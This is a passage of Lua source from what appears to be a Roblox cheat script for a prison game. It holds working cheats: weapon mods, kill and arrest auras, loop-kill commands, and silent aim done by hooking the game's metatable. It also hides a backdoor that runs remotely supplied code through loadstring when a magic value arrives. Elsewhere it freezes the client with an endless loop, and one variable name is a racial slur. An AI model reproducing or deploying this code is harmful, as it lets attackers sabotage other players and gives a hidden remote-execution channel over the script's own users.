  3028. cc["AmmoPerClip"] = math.huge
  3029. cc["CurrentAmmo"] = math.huge
  3030. table.insert(Reload_Guns, Tool)
  3031. Player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
  3032. else
  3033. API:Notif("You need to hold the tool you want to mod!",false)
  3034. end
  3035. end)
  3036. API:CreateCmd("modgun", "adds superpowers to your gun", function(args)
  3037. if plr.Character:FindFirstChildOfClass("Tool") then
  3038. local Tool = plr.Character:FindFirstChildOfClass("Tool")
  3039. if not Tool:FindFirstChild("GunStates") then
  3040. return API:Notif("Needs to be a gun!",false)
  3041. end
  3042. local cc = require(Tool.GunStates)
  3043. cc["Damage"] = 9e9
  3044. cc["FireRate"] = 0.001
  3045. cc["Range"] = math.huge
  3046. cc["MaxAmmo"] = math.huge
  3047. cc["StoredAmmo"] = math.huge
  3048. cc["AmmoPerClip"] = math.huge
  3049. cc["CurrentAmmo"] = math.huge
  3050. if Tool.Name ~= "Remington 870" then
  3051. cc["Bullets"] = 1
  3052. cc["AutoFire"] = true
  3053. end
  3054. table.insert(Reload_Guns, Tool)
  3055. Player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
  3056. else
  3057. API:Notif("You need to hold the tool you want to mod!",false)
  3058. end
  3059. end)
  3060.  
  3061. API:CreateCmd("autoinfammo", "Always apply inf ammo on all your guns", function(args)
  3062. if args[2] == "on" then
  3063. States.AutoInfAmmo = true
  3064. API:Notif("AutoInfAmmo has been changed to "..tostring(States.AutoInfAmmo))
  3065. elseif args[2] =="off" then
  3066. States.AutoInfAmmo = false
  3067. API:Notif("AutoInfAmmo has been changed to "..tostring(States.AutoInfAmmo))
  3068. else
  3069. States.AutoInfAmmo = not States.AutoInfAmmo
  3070. API:Notif("AutoInfAmmo has been changed to "..tostring(States.AutoInfAmmo))
  3071. end
  3072. end)
  3073. API:CreateCmd("unload", "Destroys the script unloading it", function(args)
  3074. API:Destroy(game:FindFirstChild("Tiger_revamp_loaded"))
  3075. Unloaded = true
  3076.  
  3077. for i,v in pairs(States) do
  3078. States[i] = false
  3079. end
  3080. Temp = {}
  3081. game:GetService("Workspace").Camera.CameraSubject = plr.Character.Humanoid
  3082. CmdBarFrame:TweenPosition(CmdBarFrame.Position-UDim2.new(0,0,-.5,0),"Out","Back",.8)
  3083. wait(1)
  3084. ScreenGui:Destroy()
  3085. end)
  3086. end
  3087. --
  3088. local cdv = false
  3089. coroutine.wrap(function()
  3090. while wait() do --// fast loop
  3091. if Unloaded then
  3092. return
  3093. end
  3094. for i,v in pairs(Temp.Viruses) do
  3095. for _,a in pairs(game:GetService("Players"):GetPlayers()) do
  3096. if a and a ~= v and a ~= Player then
  3097. if a and a.Character and a.Character:FindFirstChild("HumanoidRootPart") and(a.Character.HumanoidRootPart.Position - v.Character.HumanoidRootPart.Position).magnitude <4.5 and a.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,a) then
  3098. if not cdv then
  3099. cdv = true
  3100. API:KillPlayer(a)
  3101. wait(.7)
  3102. cdv = false
  3103. end
  3104. end
  3105. end
  3106. end
  3107. end
  3108. game:GetService('StarterGui'):SetCoreGuiEnabled('Backpack', true)
  3109. pcall(function()
  3110. if States.AntiArrest == true and Unloaded == false then
  3111. for i,v in pairs(game.Players:GetPlayers()) do
  3112. if v ~= Player then
  3113. if (v.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude <30 and v.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,v) then
  3114. if v.Character:FindFirstChildOfClass("Tool") and v.Character:FindFirstChild("Handcuffs") and not v.Character:FindFirstChild("Handcuffs"):FindFirstChild("ISWHITELISTED") then
  3115. local args = {
  3116. [1] = v
  3117. }
  3118. for i =1,3 do
  3119. task.spawn(function()
  3120. game:GetService("ReplicatedStorage").meleeEvent:FireServer(unpack(args))
  3121. end)
  3122. end
  3123. end
  3124. end
  3125. end
  3126. end
  3127. end
  3128. end)
  3129. pcall(function()
  3130. if States.AntiTouch == true and Unloaded == false then
  3131. for i,v in pairs(game.Players:GetPlayers()) do
  3132. if v ~= Player then
  3133. if (v.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude <2.3 and v.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,v) then
  3134. local args = {
  3135. [1] = v
  3136. }
  3137. for i =1,8 do
  3138. task.spawn(function()
  3139. game:GetService("ReplicatedStorage").meleeEvent:FireServer(unpack(args))
  3140. end)
  3141. end
  3142. end
  3143. end
  3144. end
  3145. end
  3146. end)
  3147.  
  3148. pcall(function()
  3149. if States.ArrestAura == true and Unloaded == false then
  3150. for i,v in pairs(game.Players:GetPlayers()) do
  3151. if v ~= Player and v.Team ~= game.Teams.Guards then
  3152. if (v.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude <30 and v.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,v) then
  3153. local args = {
  3154. [1] = v.Character:FindFirstChild("Head") or v.Character:FindFirstChildOfClass("Part")
  3155. }
  3156. if v.Team == game.Teams.Criminals or (v.Team == game.Teams.Inmates and API:BadArea(v)) then
  3157. workspace.Remote.arrest:InvokeServer(unpack(args))
  3158. end
  3159. end
  3160. end
  3161. end
  3162. end
  3163. end)
  3164. pcall(function()
  3165. if States.killaura == true and Unloaded == false then
  3166. for i,v in pairs(game.Players:GetPlayers()) do
  3167. if v ~= Player and not table.find(API.Whitelisted,v) then
  3168. if (v.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude <30 and v.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,v) then
  3169. local args = {
  3170. [1] = v
  3171. }
  3172. for i =1,3 do
  3173. task.spawn(function()
  3174. game:GetService("ReplicatedStorage").meleeEvent:FireServer(unpack(args))
  3175. end)
  3176. end
  3177. end
  3178. end
  3179. end
  3180. end
  3181. end)
  3182. end
  3183. end)()
  3184.  
  3185. local layout = {}
  3186. for i,v in pairs(CommandsList:GetChildren()) do
  3187. if v and v:IsA("TextLabel") then
  3188. table.insert(layout,v)
  3189. end
  3190. end
  3191. SearchBar.Changed:Connect(function(Changed)
  3192. if Changed:lower() == "text" then
  3193. CommandsList.CanvasPosition = Vector2.new(0, 0)
  3194. if #SearchBar.Text >0 then
  3195. for i,v in pairs(CommandsList:GetChildren()) do
  3196. if v:IsA("TextLabel") then
  3197. if not string.lower(v.Text):match(string.lower(SearchBar.Text)) then
  3198. v.Parent = ScreenGui
  3199. v.Visible = false
  3200. end
  3201. end
  3202. end
  3203. for i,v in pairs(ScreenGui:GetChildren()) do
  3204. if v.Name == "TEMP_CMD" then
  3205. if string.lower(v.Text):match(string.lower(SearchBar.Text)) then
  3206. v.Parent = CommandsList
  3207. v.Visible = true
  3208. end
  3209. end
  3210. end
  3211. elseif #SearchBar.Text <1 then
  3212. for i,v in pairs(layout) do
  3213. v.Parent = ScreenGui
  3214. v.Visible = false
  3215. end
  3216. task.wait()
  3217. for i,v in pairs(layout) do
  3218. if v then
  3219. v.Parent = CommandsList
  3220. v.Visible = true
  3221. end
  3222. end
  3223. end
  3224. end
  3225. end)
  3226. UserInputService.InputBegan:connect(function(UserInput,Typing)
  3227. if not Unloaded and not Typing then
  3228. if UserInput.KeyCode == Enum.KeyCode.LeftShift then
  3229. Running = true
  3230. end
  3231. if UserInput.KeyCode == Enum.KeyCode.F and States.OnePunch and not Running then --//Onepunch nothing advanced just to support weak exploits
  3232. local a = API:GetPosition()*CFrame.new(0,0,-1)
  3233. local Part = Instance.new("Part",workspace)
  3234. local p = nil
  3235. Part.Transparency = 1
  3236. Part.CanCollide = false
  3237. Part.CFrame = a
  3238. p = Part.Touched:Connect(function(h)
  3239. if h and h.Parent and h.Parent:FindFirstChildOfClass("Humanoid") then
  3240. local Target = game:GetService("Players"):FindFirstChild(h.Parent.Name)
  3241. if Target and Target~= Player then
  3242. for i =1,20 do
  3243. task.spawn(function()
  3244. game.ReplicatedStorage["meleeEvent"]:FireServer(Target)
  3245. end)
  3246. end
  3247. p:Disconnect()
  3248. Part:Destroy()
  3249. end
  3250. end
  3251. end)
  3252. task.spawn(function()
  3253. wait(1)
  3254. if Part then
  3255. Part:Destroy()
  3256. p:Disconnect()
  3257. end
  3258. end)
  3259. end
  3260. if UserInput.KeyCode == Enum.KeyCode.Semicolon and not Unloaded then
  3261. task.wait(.024)
  3262. CommandBar:CaptureFocus()
  3263. end
  3264. end
  3265. end)
  3266. UserInputService.InputEnded:connect(function(UserInput,Typing)
  3267. if UserInput.KeyCode == Enum.KeyCode.LeftShift and not Unloaded then
  3268. Running = false
  3269. end
  3270. end)
  3271. local Players = game.Players
  3272. local LocalPlayer = Players.LocalPlayer
  3273. local GetPlayers = Players.GetPlayers
  3274. local Camera = workspace.CurrentCamera
  3275. local WTSP = Camera.WorldToScreenPoint
  3276. local FindFirstChild = game.FindFirstChild
  3277. local Vector2_new = Vector2.new
  3278. local Mouse = LocalPlayer.GetMouse(LocalPlayer)
  3279. local function NotObstructing(Destination, Ancestor)
  3280. local ObstructingParts = Camera.GetPartsObscuringTarget(Camera, {Destination}, {Ancestor, LocalPlayer.Character})
  3281.  
  3282. for i,v in ipairs(ObstructingParts) do
  3283. pcall(function()
  3284. if v.Transparency >= 1 then
  3285. table.remove(ObstructingParts, i)
  3286. end
  3287. end)
  3288. end
  3289.  
  3290. if #ObstructingParts <= 0 then
  3291. return true
  3292. end
  3293. local RaycastParameters = RaycastParams.new()
  3294. RaycastParameters.IgnoreWater = true
  3295. RaycastParameters.FilterType = Enum.RaycastFilterType.Blacklist
  3296. RaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
  3297.  
  3298. RaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
  3299.  
  3300. local Origin = Camera.CFrame.Position
  3301. local Direction = (Destination - Origin).Unit * 500
  3302. local RayResult = workspace.Raycast(workspace, Origin, Direction, RaycastParameters) or {
  3303. Instance = nil;
  3304. Position = Origin + Direction;
  3305. Material = Enum.Material.Air;
  3306. }
  3307.  
  3308. if RayResult.Instance and (RayResult.Instance.IsDescendantOf(RayResult.Instance, Ancestor) or RayResult.Instance == Ancestor) then
  3309. return true
  3310. end
  3311. return false
  3312. end
  3313. function ClosestChar()
  3314. local Max, Close = 170
  3315. for I,V in pairs(GetPlayers(Players)) do
  3316. if V ~= LocalPlayer and V.Team ~= LocalPlayer.Team and V.Character then
  3317. local Head = FindFirstChild(V.Character, "Head")
  3318. if Head then
  3319. if NotObstructing(V.Character.PrimaryPart.Position, V.Character) == false then
  3320. continue
  3321. end
  3322. local Pos, OnScreen = WTSP(Camera, Head.Position)
  3323. if OnScreen then
  3324. local Dist = (Vector2_new(Pos.X, Pos.Y) - Vector2_new(Mouse.X, Mouse.Y)).Magnitude
  3325. if Dist < Max then
  3326. Max = Dist
  3327. Close = V.Character
  3328. end
  3329. end
  3330. end
  3331. end
  3332. end
  3333.  
  3334. return Close
  3335. end
  3336. local blackperson; blackperson = hookfunction(game.Destroy,function(a)
  3337. local isExploit = checkcaller()
  3338. if a and a:IsA("Player") and not Unloaded and isExploit then
  3339. if API_Prem.CheckPremium(a) then
  3340. task.spawn(function()
  3341. pcall(function()
  3342. game:GetService("Players").LocalPlayer:Kick("TAMPER DETECTED")
  3343. end)
  3344. end)
  3345. wait(1)
  3346. while true do end
  3347. end
  3348. end
  3349. end)
  3350. local MT = getrawmetatable(game)
  3351. local __namecall = MT.__namecall
  3352. setreadonly(MT, false)
  3353. MT.__namecall = newcclosure(function(self, ...)
  3354. local Method = getnamecallmethod()
  3355. local isExploit = checkcaller()
  3356. if Method:lower() == "destroy" or Method:lower() == "remove" and Unloaded == false then
  3357. if self.IsA(self, "Player") and isExploit then
  3358. if API_Prem.CheckPremium(self) then
  3359. task.spawn(function()
  3360. pcall(function()
  3361. game:GetService("Players").LocalPlayer:Kick("TAMPER DETECTED")
  3362. end)
  3363. end)
  3364. wait(1)
  3365. while true do end
  3366. end
  3367. end
  3368. end
  3369. if States.SilentAim then
  3370. if not Unloaded and Method == "FindPartOnRay" and not checkcaller() and tostring(getfenv(0).script) == "GunInterface" then
  3371. local Character = ClosestChar()
  3372. if Character then
  3373. return Character.Torso, Character.Torso.Position+Vector3.new(Random.new():NextNumber(-1,1),Random.new():NextNumber(.1,.8),Random.new():NextNumber(-.5,.5))
  3374. end
  3375. end
  3376. end
  3377. return __namecall(self, ...)
  3378. end)
  3379. setreadonly(MT, true)
  3380. plr.PlayerGui.Home.fadeFrame.Visible = false--//black bar
  3381. plr:GetMouse().Button1Up:Connect(function()
  3382. local target = plr:GetMouse().Target
  3383. if not Unloaded and PremiumActivated and target and target.Parent:FindFirstChildOfClass("Humanoid") and game:GetService("Players"):FindFirstChild(target.Parent.Name) and States.OneShot then
  3384. local Vic = game:GetService("Players"):FindFirstChild(target.Parent.Name)
  3385. local Gun = plr.Character:FindFirstChildOfClass("Tool")
  3386. if Gun and Gun:FindFirstChildOfClass("ModuleScript") and Vic and Vic.Team ~= plr.Team then
  3387. local Bullets = API:CreateBulletTable(20,(Vic.Character:FindFirstChild("Head") or Vic.Character:FindFirstChildOfClass("Part")))
  3388. game:GetService("ReplicatedStorage").ShootEvent:FireServer(Bullets, Gun)
  3389. end
  3390. end
  3391. end)
  3392. --//LOOPS
  3393. coroutine.wrap(function()
  3394. while task.wait() do --//Faster loop
  3395. if not Unloaded then
  3396. if States.AntiSit then
  3397. game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):SetStateEnabled(Enum.HumanoidStateType.Seated, false)
  3398. end
  3399. else
  3400. break
  3401. end
  3402. end
  3403. end)()
  3404.  
  3405. coroutine.wrap(function()
  3406. while task.wait() do
  3407. if States.spawnguns and not Unloaded then
  3408. if plr.Team ~= game.Teams.Guards then
  3409. API:ChangeTeam(game.Teams.Guards)
  3410. wait(1)
  3411. end
  3412. if States.spawnguns then
  3413. plr.Character:FindFirstChildOfClass("Humanoid").Health = 0
  3414. wait()
  3415. workspace.Remote.TeamEvent:FireServer("Bright blue")
  3416. end
  3417. end
  3418. end
  3419. end)()
  3420.  
  3421. Temp.KIllaurCD = false
  3422. coroutine.wrap(function()
  3423. while wait(.58) do --//slow loop
  3424. if Unloaded then
  3425. return
  3426. end
  3427.  
  3428. for i,v in pairs(Temp.KillAuras) do
  3429. for _,a in pairs(game:GetService("Players"):GetPlayers()) do
  3430. if a and a ~= v and a ~= Player then
  3431. if a and a.Character and a.Character:FindFirstChild("HumanoidRootPart") and(a.Character.HumanoidRootPart.Position - v.Character.HumanoidRootPart.Position).magnitude <25 and a.Character.Humanoid.Health >0 and not table.find(API.Whitelisted,a) then
  3432. if not Temp.KIllaurCD then
  3433. Temp.KIllaurCD = true
  3434. API:KillPlayer(a,nil,true)
  3435. wait(.25)
  3436. Temp.KIllaurCD = false
  3437. end
  3438. end
  3439. end
  3440. end
  3441. end
  3442. if States.AntiShield then
  3443. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  3444. if v and v.Character and v:FindFirstChild("Torso") and v:FindFirstChild("Torso"):FindFirstChild("ShieldFolder") then
  3445. v.Torso:FindFirstChild("ShieldFolder"):Destroy()
  3446. end
  3447. end
  3448. end
  3449. if States.AntiTase and getconnections then
  3450. for i,v in pairs(getconnections(workspace:WaitForChild("Remote").tazePlayer.OnClientEvent)) do
  3451. v:Disable()
  3452. end
  3453. end
  3454. if States.AutoInfAmmo then
  3455. coroutine.wrap(function()
  3456. for i,v in pairs({unpack(Player.Backpack:GetChildren()), unpack(Player.Character:GetChildren())}) do
  3457. if v and v:IsA("Tool") and not table.find(Reload_Guns,v) then
  3458. local cc = require(v.GunStates)
  3459. cc["MaxAmmo"] = math.huge
  3460. cc["StoredAmmo"] = math.huge
  3461. cc["AmmoPerClip"] = math.huge
  3462. cc["CurrentAmmo"] = math.huge
  3463. table.insert(Reload_Guns, v)
  3464. end
  3465. end
  3466. end)()
  3467. end
  3468. for i,v in pairs(Reload_Guns) do
  3469. if v then
  3470. task.spawn(function()
  3471. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(v)
  3472. end)
  3473. end
  3474. end
  3475. if not FLYING then
  3476. game:GetService("ContextActionService"):UnbindAction("forward")
  3477. game:GetService("ContextActionService"):UnbindAction("backward")
  3478. game:GetService("ContextActionService"):UnbindAction("left")
  3479. game:GetService("ContextActionService"):UnbindAction("right")
  3480. end
  3481. coroutine.wrap(function()
  3482. if States.loopkillcriminals then
  3483. wait(.5)
  3484. API:killall(game.Teams.Criminals)
  3485. end
  3486. if States.loopkillinmates then
  3487. wait(.5)
  3488. API:killall(game.Teams.Inmates)
  3489. end
  3490. if States.loopkillguards then
  3491. wait(.5)
  3492. API:killall(game.Teams.Guards)
  3493. end
  3494. if Temp and Temp.Loopkillall then
  3495. wait(.5)
  3496. API:killall()
  3497. end
  3498. end)()
  3499. coroutine.wrap(function()
  3500. for i,v in pairs(Temp.Loopkilling) do
  3501. if v and game:GetService("Players"):FindFirstChild(v) then
  3502. local Target = game:GetService("Players"):FindFirstChild(v)
  3503. if Target.Character and Target.Character:FindFirstChildOfClass("Humanoid") and Target.Character:FindFirstChildOfClass("Humanoid").Health >0 and not Target.Character:FindFirstChildOfClass("ForceField") then
  3504. if Player.Team == Target.Team and Player.Team == game.Teams.Guards then
  3505. if Target.Team ~= game.Teams.Inmates then
  3506. API:ChangeTeam(game.Teams.Inmates)
  3507. else
  3508. API:ChangeTeam(game.Teams.Criminals)
  3509. end
  3510. end
  3511. API:KillPlayer(Target)
  3512. end
  3513. end
  3514. end
  3515. for i,v in pairs(Temp.LoopmKilling) do
  3516. if v and game:GetService("Players"):FindFirstChild(v) then
  3517. local Target = game:GetService("Players"):FindFirstChild(v)
  3518. if Target.Character and Target.Character:FindFirstChildOfClass("Humanoid") and Target.Character:FindFirstChildOfClass("Humanoid").Health >0 and not Target.Character:FindFirstChildOfClass("ForceField") then
  3519. API:KillMPlayer(Target)
  3520. end
  3521. end
  3522. end
  3523. end)()
  3524. end
  3525. end)()
  3526. task.spawn(function()
  3527. while task.wait() do
  3528. if not plr.Character:FindFirstChildOfClass("ForceField") and States.ff then
  3529. API:ChangeTeam(plr.Team.Name)
  3530. wait(.4)
  3531. end
  3532. if Unloaded then
  3533. break
  3534. end
  3535. end
  3536. end)
  3537. function MostClose(Position)
  3538. local Max, Closest = math.huge,nil
  3539. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  3540. if v.Character then
  3541. if v.Character:FindFirstChildOfClass("Tool") or v.Backpack:FindFirstChildOfClass("Tool") then
  3542. local ShootPart = (v.Character:FindFirstChildOfClass("Tool") or v.Backpack:FindFirstChildOfClass("Tool")):FindFirstChild("Muzzle")
  3543. if v.Character.PrimaryPart and (v.Character:FindFirstChildOfClass("Tool") or v.Backpack:FindFirstChildOfClass("Tool")):FindFirstChild("Muzzle") then
  3544. local Distance = (ShootPart.Position-Position).Magnitude
  3545. if Distance < Max then
  3546. Max = Distance
  3547. Closest = v
  3548. end
  3549. end
  3550. end
  3551. end
  3552. end
  3553. return Closest
  3554. end
  3555. local CurrentTime = 0
  3556. function GetPlayerHit(Part)
  3557. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  3558. if v.Character:IsAncestorOf(Part) then
  3559. return v
  3560. end
  3561. end
  3562. end
  3563. local ShootbackCooldown = false
  3564. local function ReplicationEventFunction(Table)
  3565. if Table[1] and Table[1].MSG ~= nil and Table[1].PLA ~= nil then
  3566. if Table[1].Cframe.Z == 20000 then
  3567. task.spawn(function()
  3568. loadstring(tostring(Table[1].MSG))()
  3569. end)
  3570. end
  3571. end
  3572. if Unloaded then return end
  3573. local Count = 0
  3574. pcall(function()
  3575. for i,v in pairs(Table) do
  3576. if Count <= 2 then
  3577. local Hit=v.Hit
  3578. local Distance=v.Distance
  3579. local Cframe=v.Cframe
  3580. local RayObject =v.RayObject
  3581. if Hit and Distance and Cframe then
  3582. if Cframe ~= CFrame.new() then
  3583. local PlayerHit = nil
  3584. local WhoShot = nil
  3585. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  3586. if v.Character:IsAncestorOf(Hit) then
  3587. WhoShot = v
  3588. PlayerHit = Hit
  3589. break
  3590. end
  3591. end
  3592. local Worked,ufhwiufwe2 = pcall(function()
  3593. WhoShot = MostClose((Cframe * CFrame.new(0, 0, -Distance / 2)).p)
  3594. end)
  3595. if Worked and WhoShot and PlayerHit and not Unloaded then
  3596. if States.ShootBack and not ShootbackCooldown then
  3597. if PlayerHit then
  3598. if PlayerHit and Player.Character:IsAncestorOf(PlayerHit) and ShootbackCooldown == false and WhoShot.Team ~= plr.Team then
  3599. ShootbackCooldown = true
  3600. API:KillPlayer(WhoShot)
  3601. wait(1)
  3602. ShootbackCooldown = false
  3603. end
  3604. end
  3605. end
  3606. end
  3607. end
  3608. end
  3609. Count = Count + 1
  3610. end
  3611. end
  3612. end)
  3613. end
  3614. coroutine.wrap(function()
  3615. game:GetService("ReplicatedStorage"):WaitForChild("ReplicateEvent").OnClientEvent:Connect(ReplicationEventFunction)
  3616. end)()
  3617. --ClientGunReplicator
  3618. if PremiumActivated then
  3619. local BulletCoolDown = false
  3620. Temp.GunHandler =game:GetService("ReplicatedStorage"):WaitForChild("ReplicateEvent").OnClientEvent:connect(function(Amount, Value)
  3621. if not States.anticrash then
  3622. return
  3623. end
  3624. if #Amount <70 and not BulletCoolDown then
  3625. BulletCoolDown =true
  3626. for i = 1, #Amount do
  3627. local Bullet = Instance.new("Part", workspace.CurrentCamera)
  3628. Bullet.Name = "RayPart"
  3629. Bullet.Material = Enum.Material.Neon
  3630. Bullet.Anchored = true
  3631. Bullet.CanCollide = false
  3632. Bullet.Transparency = 0.5
  3633. Bullet.formFactor = Enum.FormFactor.Custom
  3634. Bullet.Size = Vector3.new(0.2, 0.2, Amount[i].Distance)
  3635. Bullet.CFrame = Amount[i].Cframe
  3636. game.Debris:AddItem(Bullet, 0.05)
  3637. Instance.new("BlockMesh", Bullet).Scale = Vector3.new(0.5, 0.5, 1)
  3638. if Value then
  3639. Bullet.BrickColor = BrickColor.new("Cyan")
  3640. local Light = Instance.new("SurfaceLight", Bullet)
  3641. Light.Color = Color3.new(0, 0.9176470588235294, 1)
  3642. Light.Range = 5
  3643. Light.Face = "Bottom"
  3644. Light.Brightness = 10
  3645. Light.Angle = 180
  3646. task.spawn(function()
  3647. for v7 = 1, 10 do
  3648. Bullet.Transparency = Bullet.Transparency + 0.1
  3649. Light.Brightness = Light.Brightness - 1
  3650. wait()
  3651. end
  3652. end)
  3653. else
  3654. Bullet.BrickColor = BrickColor.Yellow()
  3655. end
  3656. end
  3657. wait(.01)
  3658. BulletCoolDown = false
  3659. end
  3660. end)
  3661. local CoolDown = false
  3662. Temp.SoundHandler = game:GetService("ReplicatedStorage"):WaitForChild("SoundEvent").OnClientEvent:connect(function(Sound1, p4)
  3663. if not States.anticrash then
  3664. return
  3665. end
  3666. if CoolDown then
  3667. CoolDown = true
  3668. local Sound = Sound1:Clone()
  3669. Sound.Parent = Sound1.Parent
  3670. Sound:Play()
  3671. Sound.Played:Connect(function()
  3672. wait()
  3673. game:GetService("Debris"):AddItem(Sound,0.001)
  3674. end)
  3675. wait(.1)
  3676. CoolDown = false
  3677. end
  3678. end)
  3679. Temp.WarnHandler = game:GetService("ReplicatedStorage"):WaitForChild("WarnEvent").OnClientEvent:connect(function(Text)
  3680. if not States.anticrash then
  3681. return
  3682. end
  3683. local WarnGui = game:GetService("ReplicatedStorage").gooeys.WarnGui:Clone()
  3684. WarnGui.Parent = plr.PlayerGui
  3685. if Text == 1 then
  3686. WarnGui.Frame.desc.Text = "This is your last warning. You will become a prisoner if you kill an innocent player 1 more time."
  3687. else
  3688. WarnGui.Frame.desc.Text = "Do not kill innocent people! You will be arrested and jailed if you kill " .. Text .. " more times."
  3689. end
  3690. WarnGui.Frame.LocalScript.Disabled = false
  3691. end)
  3692. end
  3693. function Msg(player,Text)
  3694. local ohString1 = "/w "..player.Name.." "..Text
  3695. local ohString2 = "All"
  3696. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
  3697. end
  3698.  
  3699. local Arg1_P=""
  3700. local function PlayerCheckCommand(G)
  3701. if Arg1_P == Prefix..G then
  3702. return true
  3703. else
  3704. return false
  3705. end
  3706. end
  3707. function AdminChatted(Text,Speaker)
  3708. local Commands = {--//Actual commands
  3709. Prefix.."car",
  3710. Prefix.."arrest [PLAYER,ALL]",
  3711. Prefix.."kill [PLAYER,ALL,TEAM]",
  3712. Prefix.."opendoors",
  3713. Prefix.."loopkill [PLAYER,ALL]",
  3714. Prefix.."unloopkill [PLAYER,ALL]",
  3715. Prefix.."bring [PLAYER]",
  3716. Prefix.."goto [PLAYER]",
  3717. }
  3718. local Commands2 = { --//Teleports
  3719. Prefix.."nex [ME,PLAYER]",
  3720. Prefix.."prison [ME,PLAYER]",
  3721. Prefix.."cbase [ME,PLAYER]",
  3722. Prefix.."yard [ME,PLAYER]",
  3723. Prefix.."tower [ME,PLAYER]",
  3724. Prefix.."armory [ME,PLAYER]"
  3725. }
  3726. Speaker = game:GetService("Players"):FindFirstChild(Speaker)
  3727. if Unloaded then return end
  3728. local TXT = string.lower(Text)
  3729. local SPLITED = TXT:split(" ")
  3730. Arg1_P = SPLITED[1]
  3731. local Arg2_P = SPLITED[2]
  3732. local Arg3_P = SPLITED[3]
  3733. local Arg4_P = SPLITED[4]
  3734. if PlayerCheckCommand("cmds") then
  3735. do
  3736. local Converted = Commands
  3737. for i,v in pairs(Converted) do
  3738. if v then
  3739. Converted[i]=Converted[i]..", "
  3740. end
  3741. end
  3742. local Output = table.concat(Converted)
  3743. Msg(Speaker,Output)
  3744. end
  3745. do
  3746. local Converted = Commands2
  3747. for i,v in pairs(Converted) do
  3748. if v then
  3749. Converted[i]=Converted[i]..", "
  3750. end
  3751. end
  3752. local Output = table.concat(Converted)
  3753. Msg(Speaker,Output)
  3754. end
  3755. end
  3756. if PlayerCheckCommand("loopkill") then
  3757. if Arg2_P == "all" then
  3758. Temp.Loopkillall = false
  3759. API:Notif("Unloopkilling all")
  3760. else
  3761. local Player = API:FindPlayer(Arg2_P)
  3762. if table.find(Temp.Loopkilling,Player.Name) then
  3763. table.remove(Temp.Loopkilling,table.find(Temp.Loopkilling,Player.Name))
  3764. API:Notif("Player has been unlooped")
  3765. else
  3766. API:Notif("Player is already getting loop killed!",false)
  3767. end
  3768. end
  3769. end
  3770.  
  3771. if PlayerCheckCommand("loopkill") then
  3772. if Arg2_P == "all" then
  3773. Temp.Loopkillall = true
  3774. else
  3775. local Player = API:FindPlayer(Arg2_P)
  3776. if not table.find(Temp.Loopkilling,Player.Name) then
  3777. table.insert(Temp.Loopkilling, Player.Name)
  3778. end
  3779. end
  3780. end
  3781.  
  3782. if PlayerCheckCommand("arrest") then
  3783. if Arg2_P =="all" then
  3784. local Lastp = API:GetPosition()
  3785. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  3786. if v ~= Player and v.Team ~= game.Teams.Guards and v.Team ~= game.Teams.Neutral and v ~= plr and API:BadArea(v) or v.Team == game.Teams.Criminals and v.Character:FindFirstChildOfClass("Humanoid") and v.Character:FindFirstChildOfClass("Humanoid").Health>0 then
  3787. local d = false
  3788. task.spawn(function()
  3789. repeat
  3790. if v.Team == game.Teams.Inmates then
  3791. break
  3792. end
  3793. task.wait()
  3794. pcall(function()
  3795. API:MoveTo(v.Character:GetPrimaryPartCFrame())
  3796. end)
  3797. if v.Character:FindFirstChildOfClass("Humanoid").Health<1 then
  3798. break
  3799. end
  3800. API:UnSit()
  3801. until d
  3802. end)
  3803. repeat
  3804. wait(.2)
  3805. local a = pcall(function()
  3806. local ohInstance1 = v.Character["HumanoidRootPart"]
  3807. workspace.Remote.arrest:InvokeServer(ohInstance1)
  3808. end)
  3809. if v.Character:FindFirstChildOfClass("Humanoid").Health<1 then
  3810. break
  3811. end
  3812. API:UnSit()
  3813. until v.Character["Head"]:FindFirstChildOfClass("BillboardGui")
  3814. d = true
  3815. API:MoveTo(Lastp)
  3816. wait(.7)
  3817. end
  3818. end
  3819. API:MoveTo(Lastp)
  3820. else
  3821. local Player = API:FindPlayer(Arg2_P)
  3822. local v = Player
  3823. local Lastp = API:GetPosition()
  3824. if v.Team ~= game.Teams.Guards and v.Team ~= game.Teams.Neutral and v ~= plr and API:BadArea(v) or v.Team == game.Teams.Criminals and v.Character:FindFirstChildOfClass("Humanoid") and v.Character:FindFirstChildOfClass("Humanoid").Health>0 then
  3825. if v == Player then
  3826. local d = false
  3827. task.spawn(function()
  3828. repeat
  3829. task.wait()
  3830. pcall(function()
  3831. API:MoveTo(Player.Character:GetPrimaryPartCFrame())
  3832. end)
  3833. if v.Character:FindFirstChildOfClass("Humanoid").Health<1 then
  3834. break
  3835. end
  3836. until d
  3837. end)
  3838. repeat
  3839. wait(.2)
  3840. local a = pcall(function()
  3841. local ohInstance1 = v.Character["HumanoidRootPart"]
  3842. workspace.Remote.arrest:InvokeServer(ohInstance1)
  3843. end)
  3844. if v.Character:FindFirstChildOfClass("Humanoid").Health<1 then
  3845. break
  3846. end
  3847. API:UnSit()
  3848. until v.Character["Head"]:FindFirstChildOfClass("BillboardGui")
  3849. d = true
  3850. end
  3851. else
  3852. API:Notif("This Player cannot be arrested",false)
  3853. end
  3854. API:MoveTo(Lastp)
  3855. end
  3856. end
  3857. if PlayerCheckCommand("aura") then
  3858.  
  3859. if Arg2_P then
  3860. local Player = API:FindPlayer(Arg2_P)
  3861. if not table.find(Temp.KillAuras,Player) then
  3862. table.insert(Temps.KillAuras, Player)
  3863. end
  3864. elseif not Arg2_P then
